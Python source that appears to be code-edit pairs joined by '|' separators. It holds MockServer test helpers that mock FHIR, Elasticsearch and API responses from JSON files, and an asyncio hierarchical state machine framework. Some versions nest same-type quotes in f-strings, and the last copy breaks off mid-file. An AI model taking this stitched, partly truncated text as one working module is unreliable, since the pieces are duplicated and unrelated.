def load_mock_source_api_json_responses(
folder: Path,
mock_client: MockServerFriendlyClient,
url_prefix: Optional[str],
add_file_name: Optional[bool] = False,
url_suffix: Optional[str] = None,
) -> List[str]:
"""
Mock responses for all files from the folder and its sub-folders
:param folder: where to look for files (recursively)
:param mock_client:
:param url_prefix: http://{mock_server_url}/{url_prefix}...
:param add_file_name: http://{mock_server_url}/{url_prefix}/{add_file_name}...
:param url_suffix: http://{mock_server_url}/{url_prefix}/{add_file_name}/{url_suffix}?
"""
file_path: str
files: List[str] = sorted(glob(str(folder.joinpath("**/*.json")), recursive=True))
for file_path in files:
file_name = os.path.basename(file_path)
with open(file_path, "r") as file:
content = json.loads(file.read())
try:
request_parameters = content["request_parameters"]
except ValueError:
raise Exception(
"`request_parameters` key not found! It is supposed to contain parameters of the request function."
)
path = f"{("/" + url_prefix) if url_prefix else ""}"
path = f"{path}/{os.path.splitext(file_name)[0]}" if add_file_name else path
if url_suffix:
path = f"{path}/{url_suffix}"
try:
request_result = content["request_result"]
except ValueError:
raise Exception(
"`request_result` key not found. It is supposed to contain the expected result of the requst function."
)
mock_client.expect(
request(path=path, **request_parameters),
response(body=json.dumps(request_result)),
timing=times(1),
)
print(f"Mocking {mock_client.base_url}{path}: {request_parameters}")
return files
| import json
import os
from glob import glob
from pathlib import Path
from typing import Dict, Any, List, Optional
from spark_pipeline_framework_testing.mockserver_client.mockserver_client import (
MockServerFriendlyClient,
request,
response,
times,
text_equals,
times_any,
json_equals,
)
def load_mock_fhir_requests_from_folder(
folder: Path,
mock_client: MockServerFriendlyClient,
method: str = "POST",
relative_path: Optional[str] = None,
query_string: Optional[Dict[str, str]] = None,
url_prefix: Optional[str] = None,
response_body: Optional[str] = None,
) -> List[str]:
"""
Loads all .json files from the folder and its sub-folders
from https://pypi.org/project/mockserver-friendly-client/
:param folder: where to look for .json files (recursively)
:param mock_client: client to mock server
:param method:
:param relative_path:
:param query_string:
:param url_prefix:
:param response_body:
"""
file_name: str
files: List[str] = sorted(glob(str(folder.joinpath("**/*.json")), recursive=True))
for file_name in files:
# load file as json
with open(file_name, "r") as file:
contents = json.loads(file.read())
if isinstance(contents, list) and not relative_path:
for fhir_request in contents:
mock_single_request(
fhir_request=fhir_request,
method=method,
mock_client=mock_client,
relative_path=relative_path,
query_string=query_string,
url_prefix=url_prefix,
response_body=response_body,
)
else:
mock_single_request(
fhir_request=contents,
method=method,
mock_client=mock_client,
relative_path=relative_path,
query_string=query_string,
url_prefix=url_prefix,
response_body=response_body,
)
return files
def mock_single_request(
fhir_request: Dict[str, Any],
method: str,
mock_client: MockServerFriendlyClient,
relative_path: Optional[str],
query_string: Optional[Dict[str, str]],
url_prefix: Optional[str],
response_body: Optional[str],
) -> None:
# find id and resourceType
if method == "POST":
# id_ = fhir_request["id"]
# noinspection PyPep8Naming
resourceType = fhir_request["resourceType"]
id_ = fhir_request["id"]
path = (
f"{('/' + url_prefix) if url_prefix else ''}/4_0_0/{resourceType}/1/$merge"
)
payload: str = json.dumps([{"id": id_, "updated": False, "created": True}])
mock_client.expect(
request(
method="POST",
path=path,
body=json_equals([fhir_request]),
),
response(body=payload),
timing=times_any(),
)
print(f"Mocking: POST {mock_client.base_url}{path}: {json.dumps(fhir_request)}")
else:
if not relative_path:
id_ = fhir_request["id"]
# noinspection PyPep8Naming
resourceType = fhir_request["resourceType"]
path = (
f"{('/' + url_prefix) if url_prefix else ''}/4_0_0/{resourceType}/{id_}"
)
mock_client.expect(
request(method="GET", path=path, querystring=query_string),
response(body=json.dumps(fhir_request)),
timing=times(1),
)
else:
path = f"{('/' + url_prefix) if url_prefix else ''}/4_0_0/{relative_path}"
mock_client.expect(
request(method="GET", path=path, querystring=query_string),
response(body=json.dumps(fhir_request)),
timing=times(1),
)
print(f"Mocking: GET {mock_client.base_url}{path}{query_string or ''}")
# noinspection PyPep8Naming
def load_mock_fhir_everything_requests_from_folder(
folder: Path,
mock_client: MockServerFriendlyClient,
resourceType: str,
url_prefix: Optional[str] = None,
) -> List[str]:
"""
Loads all .json files from the folder and its sub-folders
from https://pypi.org/project/mockserver-friendly-client/
:param folder: where to look for .json files (recursively)
:param mock_client:
:param resourceType:
:param url_prefix:
"""
file_name: str
files: List[str] = glob(str(folder.joinpath("**/*.json")), recursive=True)
for file_name in files:
# load file as json
with open(file_name, "r") as file:
fhir_request: Dict[str, Any] = json.loads(file.read())
# find id and resourceType
id_: str = fhir_request["id"]
path = f"{('/' + url_prefix) if url_prefix else ''}/4_0_0/{resourceType}/{id_}/$everything"
mock_client.expect(
request(
method="GET",
path=path,
),
response(body=json.dumps(fhir_request)),
timing=times(1),
)
print(f"Mocking: GET {mock_client.base_url}{path}")
return files
# noinspection PyPep8Naming
def load_mock_fhir_everything_batch_requests_from_folder(
folder: Path,
mock_client: MockServerFriendlyClient,
resourceType: str,
ids: List[str],
url_prefix: Optional[str] = None,
) -> List[str]:
"""
Loads all .json files from the folder and its sub-folders
from https://pypi.org/project/mockserver-friendly-client/
:param folder: where to look for .json files (recursively)
:param mock_client:
:param resourceType:
:param url_prefix:
:param ids: id of resources for this batch to load
"""
file_name: str
files: List[str] = glob(str(folder.joinpath("**/*.json")), recursive=True)
result_bundle = {
"resourceType": "Bundle",
"id": "bundle-example",
"type": "collection",
"entry": [],
}
print(f"mock fhir batch request for {ids}")
for file_name in files:
with open(file_name, "r") as file:
fhir_bundle: Dict[str, Any] = json.loads(file.read())
if "entry" not in fhir_bundle:
print(f"{file_name} has no entry property!")
continue
for entry in fhir_bundle["entry"]:
id = entry.get("resource", {}).get("id", "")
if id in ids:
result_bundle["entry"].append(entry) # type: ignore
# find id and resourceType
path = (
f"{('/' + url_prefix) if url_prefix else ''}/4_0_0/{resourceType}/$everything"
)
mock_client.expect(
request(method="GET", path=path, querystring={"id": ",".join(ids)}),
response(body=json.dumps(result_bundle)),
timing=times(1),
)
print(f"Mocking: GET {mock_client.base_url}{path}")
return files
def load_mock_elasticsearch_requests_from_folder(
folder: Path, mock_client: MockServerFriendlyClient, index: str
) -> List[str]:
"""
Loads all .json files from the folder and its sub-folders
from https://pypi.org/project/mockserver-friendly-client/
:param folder: where to look for .json files (recursively)
:param mock_client:
:param index:
"""
file_name: str
files: List[str] = glob(str(folder.joinpath("**/*.json")), recursive=True)
for file_name in files:
# load file as json
with open(file_name, "r") as file:
lines: List[str] = file.readlines()
http_request: str = "\n".join(
[
(json.dumps(json.loads(line))) if line != "\n" else ""
for line in lines
]
)
# noinspection PyPep8Naming
path = f"/{index}/_bulk"
# noinspection SpellCheckingInspection
mock_client.expect(
request(
method="POST",
path=path,
body=text_equals(http_request),
),
response(
headers={"Content-Type": "application/json"},
body=f"""
{{
"took": 194,
"errors": false,
"items": [
{{
"index": {{
"_index": "{index}",
"_type": "_doc",
"_id": "TESQ93YBW4SQ_M9deEJw",
"_version": 1,
"result": "created"
}}
}},
{{
"index": {{
"_index": "{index}",
"_type": "_doc",
"_id": "TUSQ93YBW4SQ_M9deEJw",
"_version": 1,
"result": "created"
}}
}}
]
}}""",
),
timing=times(1),
)
print(f"Mocking: POST {mock_client.base_url}{path}")
return files
def load_mock_source_api_responses_from_folder(
folder: Path, mock_client: MockServerFriendlyClient, url_prefix: Optional[str]
) -> List[str]:
"""
Mock responses for all files from the folder and its sub-folders
from https://pypi.org/project/mockserver-friendly-client/
:param folder: where to look for files (recursively)
:param mock_client:
:param url_prefix:
"""
file_path: str
files: List[str] = sorted(glob(str(folder.joinpath("**/*")), recursive=True))
for file_path in files:
with open(file_path, "r") as file:
content = file.read()
path = f"{('/' + url_prefix) if url_prefix else ''}/{os.path.basename(file_path)}"
mock_client.expect(
request(
method="GET",
path=path,
),
response(body=content),
timing=times(1),
)
print(f"Mocking: GET {mock_client.base_url}{path}")
return files
def load_mock_source_api_json_responses(
folder: Path,
mock_client: MockServerFriendlyClient,
url_prefix: Optional[str],
add_file_name: Optional[bool] = False,
url_suffix: Optional[str] = None,
) -> List[str]:
"""
Mock responses for all files from the folder and its sub-folders
:param folder: where to look for files (recursively)
:param mock_client:
:param url_prefix: http://{mock_server_url}/{url_prefix}...
:param add_file_name: http://{mock_server_url}/{url_prefix}/{add_file_name}...
:param url_suffix: http://{mock_server_url}/{url_prefix}/{add_file_name}/{url_suffix}?
"""
file_path: str
files: List[str] = sorted(glob(str(folder.joinpath("**/*.json")), recursive=True))
for file_path in files:
file_name = os.path.basename(file_path)
with open(file_path, "r") as file:
content = json.loads(file.read())
try:
request_parameters = content["request_parameters"]
except ValueError:
raise Exception(
"`request_parameters` key not found! It is supposed to contain parameters of the request function."
)
path = f"{('/' + url_prefix) if url_prefix else ''}"
path = f"{path}/{os.path.splitext(file_name)[0]}" if add_file_name else path
if url_suffix:
path = f"{path}/{url_suffix}"
try:
request_result = content["request_result"]
except ValueError:
raise Exception(
"`request_result` key not found. It is supposed to contain the expected result of the requst function."
)
mock_client.expect(
request(path=path, **request_parameters),
response(body=json.dumps(request_result)),
timing=times(1),
)
print(f"Mocking {mock_client.base_url}{path}: {request_parameters}")
return files
|
import asyncio
import collections
import signal
import traceback
import typing
from copy import copy
from functools import wraps
import attr
@attr.s(auto_attribs=True)
class Catch:
signal: str
handler: str
@attr.s(auto_attribs=True)
class State:
name: str
parent: typing.Optional[str]
catches: typing.List[Catch] = attr.Factory(list)
@attr.s(auto_attribs=True)
class HsmDescription:
initial: str
setup: typing.Optional[str]
signals: typing.List[str] = attr.Factory(list)
states: typing.List[State] = attr.Factory(list)
class Spy(object):
"""Spy is the debugging system for async_hsm.
async_hsm contains a handful of Spy.on_*() methods
placed at useful locations in the framework.
It is up to a Spy driver (such as the included VcdSpy)
to implement the Spy.on_*() methods.
The programmer calls Spy.enable_spy(<Spy implementation class>)
to activate the Spy system; otherwise, Spy does nothing.
Therefore, this class is designed so that calling Spy.anything()
is inert unless the application first calls Spy.enable_spy()
"""
_actv_cls = None
@staticmethod
def enable_spy(spy_cls):
"""Sets the Spy to use the given class
and calls its initializer.
"""
Spy._actv_cls = spy_cls
spy_cls.init()
def __getattr__(*args):
"""Returns
1) the enable_spy static method if requested by name, or
2) the attribute from the active class (if active class was set), or
3) a function that swallows any arguments and does nothing.
"""
if args[1] == "enable_spy":
return Spy.enable_spy
if Spy._actv_cls:
return getattr(Spy._actv_cls, args[1])
return lambda *x: None
# Singleton pattern:
# Turn Spy into an instance of itself so __getattribute__ works
# on anyone who calls "import Spy; Spy.foo()"
# This prevents Spy() from creating a new instance
# and gives everyone who calls "import Spy" the same object
Spy = Spy()
class Signal(object):
"""An asynchronous stimulus that triggers reactions.
A unique identifier that, along with a value, specifies an Event.
p. 154
"""
_registry = {} # signame:str to sigid:int
_lookup = [] # sigid:int to signame:str
@staticmethod
def exists(signame):
"""Returns True if signame is in the Signal registry.
"""
return signame in Signal._registry
@staticmethod
def register(signame):
"""Registers the signame if it is not already registered.
Returns the signal number for the signame.
"""
assert type(signame) is str
if signame in Signal._registry:
# TODO: emit warning that signal is already registered
return Signal._registry[signame]
else:
sigid = len(Signal._lookup)
Signal._registry[signame] = sigid
Signal._lookup.append(signame)
Spy.on_signal_register(signame, sigid)
return sigid
def __getattr__(self, signame):
assert type(signame) is str
return Signal._registry[signame]
# Singleton pattern:
# Turn Signal into an instance of itself so getattr works.
# This also prevents Signal() from creating a new instance.
Signal = Signal()
# Register the reserved (system) signals
Signal.register("EMPTY") # 0
Signal.register("ENTRY") # 1
Signal.register("EXIT") # 2
Signal.register("INIT") # 3
Signal.register("TERMINATE") # 4
Signal.register("ERROR") # 5
Event = collections.namedtuple("Event", ["signal", "value"])
Event.__doc__ = """Events are a tuple of (signal, value) that are passed from
one AHSM to another. Signals are defined in each AHSM's source code
by name, but resolve to a unique number. Values are any python value,
including containers that contain even more values. Each AHSM state
(static method) accepts an Event as the parameter and handles the event
based on its Signal."""
# Instantiate the reserved (system) events
Event.EMPTY = Event(Signal.EMPTY, None)
Event.ENTRY = Event(Signal.ENTRY, None)
Event.EXIT = Event(Signal.EXIT, None)
Event.INIT = Event(Signal.INIT, None)
Event.TERMINATE = Event(Signal.TERMINATE, None)
Event.ERROR = Event(Signal.ERROR, None)
# The order of this tuple MUST match their respective signals
Event.reserved = (Event.EMPTY, Event.ENTRY, Event.EXIT, Event.INIT, Event.TERMINATE, Event.ERROR)
def state(func):
"""A decorator that identifies which methods are states.
The presence of the async_hsm_state attr, not the value of the attr,
determines statehood.
The Spy debugging system uses the async_hsm_state attribute
to determine which methods inside a class are actually states.
Other uses of the attribute may come in the future.
"""
@wraps(func)
def func_wrap(self, evt):
result = func(self, evt)
Spy.on_state_handler_called(func_wrap, evt, result)
return result
setattr(func_wrap, "async_hsm_state", True)
return func_wrap
class Hsm(object):
"""A Hierarchical State Machine (HSM).
Full support for hierarchical state nesting.
Guaranteed entry/exit action execution on arbitrary state transitions.
Full support of nested initial transitions.
Support for events with arbitrary parameters.
"""
# Every state handler must return one of these values
RET_HANDLED = 0
RET_IGNORED = 1
RET_TRAN = 2
RET_SUPER = 3
def __init__(self):
"""Sets this Hsm's current state to self.top(), the default state
and stores the given initial state.
"""
# self.state is the Hsm/act's current active state.
# This instance variable references the message handler (method)
# that will be called whenever a message is sent to this Hsm.
# We initialize this to self.top, the default message handler
self.state = self.top
self.state_receiving_dispatch = None
# The terminated flag indicates that this state machine is
# finished. Usually set in the _exit state.
self.terminated = False
#
# The publish_errors flag affects how exceptions raised in this
# HSM are treated. The resulting Event with type Signal.ERROR
# may be published to the framework (if publish_errors is True)
# or placed on the FIFO of this Hsm (if publish_errors is False)
# If the error is publised, it is necessary to use the subscribe
# method to be informed when the error occurs.
self.publish_errors = False
# Async_hsm differs from QP here in that we hardcode
# the initial state to be "_initial"
def _initial(self, event):
"""Raises a NotImplementedError to force the derived class
to implement its own initial state.
"""
raise NotImplementedError
@state
def _exit(self, event):
"""Default exit state handler that sets the terminated attribute of the
state machine. This may be overridden in a user's HSM class. """
sig = event.signal
if sig == Signal.ENTRY:
self.terminated = True
return self.handled(event)
return self.super(self.top)
# Helper functions to process reserved events through the current state
def trig(self, state_func, signal):
return state_func(Event.reserved[signal])
def enter(self, state_func):
return state_func(Event.ENTRY)
def exit(self, state_func):
return state_func(Event.EXIT)
# Other helper functions
def handled(self, event):
return Hsm.RET_HANDLED
def tran(self, nextState):
self.state = getattr(self, nextState) if isinstance(nextState, str) else nextState
return Hsm.RET_TRAN
def super(self, superState):
if superState is None:
self.state = self.top
else:
self.state = getattr(self, superState) if isinstance(superState, str) else superState
return Hsm.RET_SUPER # p. 158
def run_async(self, cor):
# Run an asynchronous task in the coroutine cor and post an ERROR
# event if it throws an exception
async def wrapped_cor():
try:
await cor
except Exception as e:
event = Event(Signal.ERROR, {
"exc": e,
"traceback": traceback.format_exc(),
"location": self.__class__.__name__,
"name": cor.__name__
})
if self.publish_errors:
Framework.publish(event)
else:
self.postFIFO(event)
asyncio.create_task(wrapped_cor())
def top(self, event):
"""This is the default state handler. This handler ignores all signals except for Signal.TERMINATE and
Signal.ERROR. These default actions can be overridden within a user-provided top level state.
The TERMINATE signal causes a transition to the state self._exit.
The ERROR signal does not cause a state transition, but prints a tracback message on the console.
"""
if event.signal == Signal.TERMINATE:
return self.tran(self._exit)
elif event.signal == Signal.ERROR:
print(f"Exception {event.value["exc"]}\n{event.value["traceback"]}")
return Hsm.RET_HANDLED
# All other events are quietly ignored
return Hsm.RET_IGNORED # p. 165
def _perform_init_chain(self, current):
"""Act on the chain of initializations required starting from current."""
t = current
while self.trig(t if t != self.top else self._initial, Signal.INIT) == Hsm.RET_TRAN:
# The state handles the INIT message and needs to make a transition. The
# "top" state is special in that it does not handle INIT messages, so we
# defer to self._initial in this case
path = [] # Trace the path back to t via superstates
while self.state != t:
path.append(self.state)
self.trig(self.state, Signal.EMPTY)
# Restore the state to the target state
self.state = path[0]
assert len(path) < 32 # MAX_NEST_DEPTH
# Perform ENTRY action for each state from current to the target
path.reverse() # in-place
for s in path:
self.enter(s)
# The target state has now to be checked to see if it responds to the INIT message
t = path[-1] # -1 because path was reversed
return t
def _perform_transition(self, source, target):
# Handle the state transition from source to target in the HSM.
s, t = source, target
path = [t]
if s == t: # Case (a), transition to self
self.exit(s)
self.enter(t)
else:
# Find parent of target
self.trig(t, Signal.EMPTY)
t = self.state # t is now parent of target
if s == t: # Case (b), source is parent of target
self.enter(path[0])
else:
# Find parent of source
self.trig(s, Signal.EMPTY)
if self.state == t: # Case (c), source and target share a parent
self.exit(s)
self.enter(path[0])
else:
if self.state == path[0]: # Case (d), target is parent of source
self.exit(s)
else: # Check if the source is an ancestor of the target (case (e))
lca_found = False
path.append(t) # Populates path[1]
t = self.state # t is now parent of source
# Find and save ancestors of target into path
# until we find the source or hit the top
self.state = path[1]
while self.state != self.top:
self.trig(self.state, Signal.EMPTY)
path.append(self.state)
assert len(path) < 32 # MAX_NEST_DEPTH
if self.state == s:
lca_found = True
break
if lca_found: # This is case (e), enter states to get to target
for st in reversed(path[:-1]):
self.enter(st)
else:
self.exit(s) # Exit the source for cases (f), (g), (h)
self.state = t # Start at parent of the source
while self.state not in path:
# Keep exiting up into superstates until we reach the LCA.
# Depending on whether the EXIT signal is handled, we may also need
# to send the EMPTY signal to make self.state climb to the superstate.
if self.exit(self.state) == Hsm.RET_HANDLED:
self.trig(self.state, Signal.EMPTY)
t = self.state
# Step into children until we enter the target
for st in reversed(path[:path.index(t)]):
self.enter(st)
def init(self):
"""Transitions to the initial state. Follows any INIT transitions
from the inital state and performs ENTRY actions as it proceeds.
Use this to pass any parameters to initialize the state machine.
p. 172
"""
# The initial state MUST transition to another state
self.state = self._perform_init_chain(self.top)
def dispatch(self, event):
"""Dispatches the given event to this Hsm.
Follows the application's state transitions
until the event is handled or top() is reached
p. 174
"""
try:
Spy.on_hsm_dispatch_event(event)
# Save the current state
t = self.state
self.state_receiving_dispatch = t
# Proceed to superstates if event is not handled, we wish to find the superstate
# (if any) that does handle the event and to record the path to that state
exit_path = []
r = Hsm.RET_SUPER
while r == Hsm.RET_SUPER:
s = self.state
exit_path.append(s)
Spy.on_hsm_dispatch_pre(s)
r = s(event) # invoke state handler
# We leave the while loop with s at the state which was able to respond
# to the event, or to self.top if none did
Spy.on_hsm_dispatch_post(exit_path)
# If the state handler for s requests a transition
if r == Hsm.RET_TRAN:
t = self.state
# Store target of transition
# Exit from the current state to the state s which handles
# the transition. We do not exit from s=exit_path[-1] itself.
for st in exit_path[:-1]:
r = self.exit(st)
assert (r == Hsm.RET_SUPER) or (r == Hsm.RET_HANDLED)
s = exit_path[-1]
# Transition to t through the HSM
self._perform_transition(s, t)
# Do initializations starting at t
t = self._perform_init_chain(t)
# Restore the state
self.state = t
self.state_receiving_dispatch = None
except Exception as e:
event = Event(Signal.ERROR, {"exc": e, "traceback": traceback.format_exc(), "location": self.__class__.__name__})
if self.publish_errors:
Framework.publish(event)
else:
self.postFIFO(event)
class Framework(object):
"""Framework is a composite class that holds:
- the asyncio event loop
- the registry of AHSMs
- the set of TimeEvents
- the handle to the next TimeEvent
- the table subscriptions to events
"""
# The event loop is accessed through the get_event_loop method. The private
# attribute __event_loop is initialized the first time get_event_loop is called
# and is subsequently returned by the get_event_loop method
__event_loop = None
# The Framework maintains a registry of Ahsms in a list.
_ahsm_registry = []
# The Framework maintains a dict of priorities in use
# to prevent duplicates.
# An Ahsm's priority is checked against this dict
# within the Ahsm.start() method
# when the Ahsm is added to the Framework.
# The dict's key is the priority (integer) and the value is the Ahsm.
_priority_dict = {}
# The Framework maintains pending TimeEvents in a dict.
# The TimeEvent is the key and the handle to the callback
# is the value. This is useful for cancelling the event if
# necessary. A time event can appear at most once within
# this dictionary, since it cannot be scheduled while it ia
#
# A nonperiodic time event will be removed from
# the dictionary when it expires, whereas periodic TimeEvents
# re-enqueue themselves and update their handles whenever
# they occur.
_time_event_handles = {}
# The Subscriber Table is a dictionary. The keys are signals.
# The value for each key is a list of Ahsms that are subscribed to the
# signal. An Ahsm may subscribe to a signal at any time during runtime.
_subscriber_table = {}
# The terminate event is accessed through the get_terminate_event method. The private
# attribute __terminate_event is initialized the first time get_terminate_event is called
# and is subsequently returned by the get_terminate_event method
# The event is set once all the AHSMs in the framework have set their terminated attribute,
# which is usually done in their _exit states
__terminate_event = None
@staticmethod
def get_event_loop():
# The first time this is called, we get the current event loop and assign it to the
# private variable __event_loop. Subsequently, return this loop. Doing this allows us
# use asyncio.run in conjunction with async_hsm, since asyncio.run creates a new
# event loop, and needs to be run before we try to call get_event_loop
if Framework.__event_loop is None:
Framework.__event_loop = asyncio.get_event_loop()
# try:
# Framework.__event_loop.add_signal_handler(signal.SIGINT, lambda: Framework.stop())
# Framework.__event_loop.add_signal_handler(signal.SIGTERM, lambda: Framework.stop())
# Framework.__event_loop.add_signal_handler(29, Framework.print_info)
# except NotImplementedError:
# pass
return Framework.__event_loop
@staticmethod
def get_terminate_event():
# The first time this is called, we get the current event loop and assign it to the
# private variable __event_loop. Subsequently, return this loop. Doing this allows us
# use asyncio.run in conjunction with async_hsm, since asyncio.run creates a new
# event loop, and needs to be run before we try to call get_event_loop
if Framework.__terminate_event is None:
Framework.__terminate_event = asyncio.Event()
return Framework.__terminate_event
@staticmethod
def post(event, act):
"""Posts the event to the given Ahsm's event queue.
The argument, act, is an Ahsm instance.
"""
assert isinstance(act, Ahsm)
act.postFIFO(event)
@staticmethod
def post_by_name(event, act_name):
"""Posts the event to the given Ahsm's event queue.
The argument, act, is a string of the name of the class
to which the event is sent. The event will post to all actors
having the given classname.
"""
assert type(act_name) is str
for act in Framework._ahsm_registry:
if act.__class__.__name__ == act_name:
act.postFIFO(event)
@staticmethod
def publish(event):
"""Posts the event to the message queue of every Ahsm
that is subscribed to the event's signal.
"""
if event.signal in Framework._subscriber_table:
for act in Framework._subscriber_table[event.signal]:
act.postFIFO(event)
# Run to completion
Framework.get_event_loop().call_soon_threadsafe(Framework.run)
@staticmethod
def subscribe(signame, act):
"""Adds the given Ahsm to the subscriber table list
for the given signal. The argument, signame, is a string of the name
of the Signal to which the Ahsm is subscribing. Using a string allows
the Signal to be created in the registry if it is not already.
"""
sigid = Signal.register(signame)
if sigid not in Framework._subscriber_table:
Framework._subscriber_table[sigid] = []
Framework._subscriber_table[sigid].append(act)
@staticmethod
def addTimeEvent(tm_event, delta):
"""Adds the TimeEvent to the collection of time events in the Framework.
The event will fire its signal (to the TimeEvent's target Ahsm)
after the delay, delta.
"""
expiration = Framework.get_event_loop().time() + delta
Framework.addTimeEventAt(tm_event, expiration)
@staticmethod
def addTimeEventAt(tm_event, abs_time):
"""Adds the TimeEvent to the collection of time events in the Framework.
The event will fire its signal (to the TimeEvent's target Ahsm)
at the given absolute time (Framework.get_event_loop().time()).
"""
assert tm_event not in Framework._time_event_handles
Framework._scheduleTimeEvent(tm_event, abs_time)
@staticmethod
def _scheduleTimeEvent(tm_event, expiration):
"""Schedule the TimeEvent using call_at
"""
Framework._time_event_handles[tm_event] = Framework.get_event_loop().call_at(expiration, Framework.timeEventCallback,
tm_event, expiration)
@staticmethod
def removeTimeEvent(tm_event):
"""Removes the TimeEvent from the dictionary of active time events, cancelling
it if it is pending
"""
if tm_event in Framework._time_event_handles:
Framework._time_event_handles[tm_event].cancel()
del Framework._time_event_handles[tm_event]
@staticmethod
def timeEventCallback(tm_event, expiration):
"""The callback function for all TimeEvents.
Posts the event to the event's target Ahsm.
If the TimeEvent is periodic, reschedule its next occurrence.
"""
assert tm_event in Framework._time_event_handles, ("Exp:%f _time_event_handles.keys():%s" %
(expiration, Framework._time_event_handles.keys()))
# Remove this expired TimeEvent from the dictionary
del Framework._time_event_handles[tm_event]
# Post the event to the target Ahsm
tm_event.act.postFIFO(tm_event)
# If this is a periodic time event, schedule its next expiration
if tm_event.interval > 0:
Framework._scheduleTimeEvent(tm_event, expiration + tm_event.interval)
# Run to completion
Framework.get_event_loop().call_soon_threadsafe(Framework.run)
@staticmethod
def add(act):
"""Makes the framework aware of the given Ahsm.
"""
Framework._ahsm_registry.append(act)
assert act.priority not in Framework._priority_dict, ("Priority MUST be unique")
Framework._priority_dict[act.priority] = act
Spy.on_framework_add(act)
@staticmethod
def run():
"""Dispatches an event to the highest priority Ahsm
until all event queues are empty (i.e. Run To Completion).
If any exception occurs in the state handler functions called
while performing ``dispatch``, post the ERROR event on the FIFO
of the state machine, with information about the exception, a traceback
and the class name in which the exception occured, so that it can be
dealt with appropriately.
"""
def getPriority(x):
return x.priority
while True:
allQueuesEmpty = True
sorted_acts = sorted(Framework._ahsm_registry, key=getPriority)
terminate = True
for act in sorted_acts:
if act.terminated:
continue
terminate = False
if act.has_msgs():
event_next = act.pop_msg()
act.dispatch(event_next)
allQueuesEmpty = False
break
if terminate:
Framework.get_terminate_event().set()
if allQueuesEmpty:
return
@staticmethod
def stop():
"""EXITs all Ahsms and sets the _terminate_event flag.
"""
# Disable the timer callback
for tm_event in Framework._time_event_handles:
Framework._time_event_handles[tm_event].cancel()
# Post TERMINATE to all Ahsms so they execute their EXIT handler
for act in Framework._ahsm_registry:
Framework.post(Event.TERMINATE, act)
# Run to completion so each Ahsm will process SIGTERM
Framework.run()
Framework.get_terminate_event().set()
# Framework.get_event_loop().stop()
# Spy.on_framework_stop()
@staticmethod
def get_info():
"""Gets the name and current state
of each actor in the framework.
"""
result = {}
for act in Framework._ahsm_registry:
if act.state_receiving_dispatch is not None:
result[act.__class__.__name__] = {
"state_handling_event": act.state.__name__,
"state_receiving_dispatch": act.state_receiving_dispatch.__name__
}
else:
result[act.__class__.__name__] = {"state": act.state.__name__}
return result
@staticmethod
def print_info():
"""Prints the name and current state
of each actor in the framework.
Meant to be called when ctrl+T (SIGINFO/29) is issued.
"""
info_dict = Framework.get_info()
for actor in info_dict:
print(actor, info_dict[actor])
signal.signal(signal.SIGINT, lambda *args: Framework.stop())
signal.signal(signal.SIGTERM, lambda *args: Framework.stop())
@staticmethod
async def done():
"""Await this coroutine to wait for all state machines to terminate. This is written
as a loop so that CTRL-C in Windows will be acted upon"""
while True:
if Framework.get_terminate_event().is_set():
break
await asyncio.sleep(0.5)
class Ahsm(Hsm):
"""An Augmented Hierarchical State Machine (AHSM); a.k.a. ActiveObject/AO.
Adds a priority, message queue and methods to work with the queue.
"""
def start(self, priority):
# must set the priority before Framework.add() which uses the priority
self.priority = priority
Framework.add(self)
self.mq = collections.deque()
try:
self.init()
except Exception as e:
event = Event(Signal.ERROR, {"exc": e, "traceback": traceback.format_exc(), "location": self.__class__.__name__})
if self.publish_errors:
Framework.publish(event)
else:
self.postFIFO(event)
# Run to completion
Framework.get_event_loop().call_soon_threadsafe(Framework.run)
def postLIFO(self, evt):
self.mq.append(evt)
def postFIFO(self, evt):
self.mq.appendleft(evt)
def pop_msg(self, ):
return self.mq.pop()
def has_msgs(self, ):
return len(self.mq) > 0
class Factory(Ahsm):
_handled_signals = {}
_parents = {}
def __init__(self):
super().__init__()
@classmethod
def _add_catch(cls, state_name, signal_name, handler_name):
cls._handled_signals[state_name][signal_name] = handler_name
@classmethod
def _build_initial(cls, initial_state, setup, signal_list):
def _initial(self, event):
if setup:
getattr(self, setup)()
for sig in signal_list:
Framework.subscribe(sig, self)
return self.tran(initial_state)
handler = state(copy(_initial))
handler.__name__ = "_initial"
handler.__qualname__ = handler.__name__
handler.__module__ = cls.__module__
setattr(cls, "_initial", handler)
@classmethod
def _build_state(cls, name, parent):
def state_handler(self, event):
sig_name = Signal._lookup[event.signal]
if sig_name in cls._handled_signals[name]:
event_handler = getattr(self, cls._handled_signals[name][sig_name])
ret_val = event_handler(event)
if ret_val is not None:
return ret_val
return self.super(parent)
handler = state(copy(state_handler))
handler.__name__ = name
handler.__qualname__ = handler.__name__
handler.__module__ = cls.__module__
setattr(cls, name, handler)
cls._handled_signals[name] = {}
cls._parents[name] = parent
@classmethod
def build_hsm(cls, descr):
cls._handled_signals = {}
cls._parents = {}
# Build the _initial method
cls._build_initial(descr.initial, descr.setup, descr.signals)
for state in descr.states:
cls._build_state(state.name, state.parent)
for catch in state.catches:
cls._add_catch(state.name, catch.signal, catch.handler)
class TimeEvent(object):
"""TimeEvent is a composite class that contains an Event.
A TimeEvent is created by the application and added to the Framework.
The Framework then emits the event after the given delay.
A one-shot TimeEvent is created by calling either postAt() or postIn().
A periodic TimeEvent is created by calling the postEvery() method.
"""
def __init__(self, signame):
assert type(signame) == str
self.signal = Signal.register(signame)
self.value = None
def postAt(self, act, abs_time):
"""Posts this TimeEvent to the given Ahsm at a specified time.
"""
assert issubclass(type(act), Ahsm)
self.act = act
self.interval = 0
Framework.addTimeEventAt(self, abs_time)
def postIn(self, act, delta):
"""Posts this TimeEvent to the given Ahsm after the time delta.
"""
assert issubclass(type(act), Ahsm)
self.act = act
self.interval = 0
Framework.addTimeEvent(self, delta)
def postEvery(self, act, delta):
"""Posts this TimeEvent to the given Ahsm after the time delta
and every time delta thereafter until disarmed.
"""
assert issubclass(type(act), Ahsm)
self.act = act
self.interval = delta
Framework.addTimeEvent(self, delta)
def disarm(self):
"""Removes this TimeEvent from the Framework's active time events.
"""
self.act = None
Framework.removeTimeEvent(self) | import asyncio
import collections
import signal
import traceback
import typing
from copy import copy
from functools import wraps
import attr
@attr.s(auto_attribs=True)
class Catch:
signal: str
handler: str
@attr.s(auto_attribs=True)
class State:
name: str
parent: typing.Optional[str]
catches: typing.List[Catch] = attr.Factory(list)
@attr.s(auto_attribs=True)
class HsmDescription:
initial: str
setup: typing.Optional[str]
signals: typing.List[str] = attr.Factory(list)
states: typing.List[State] = attr.Factory(list)
class Spy(object):
"""Spy is the debugging system for async_hsm.
async_hsm contains a handful of Spy.on_*() methods
placed at useful locations in the framework.
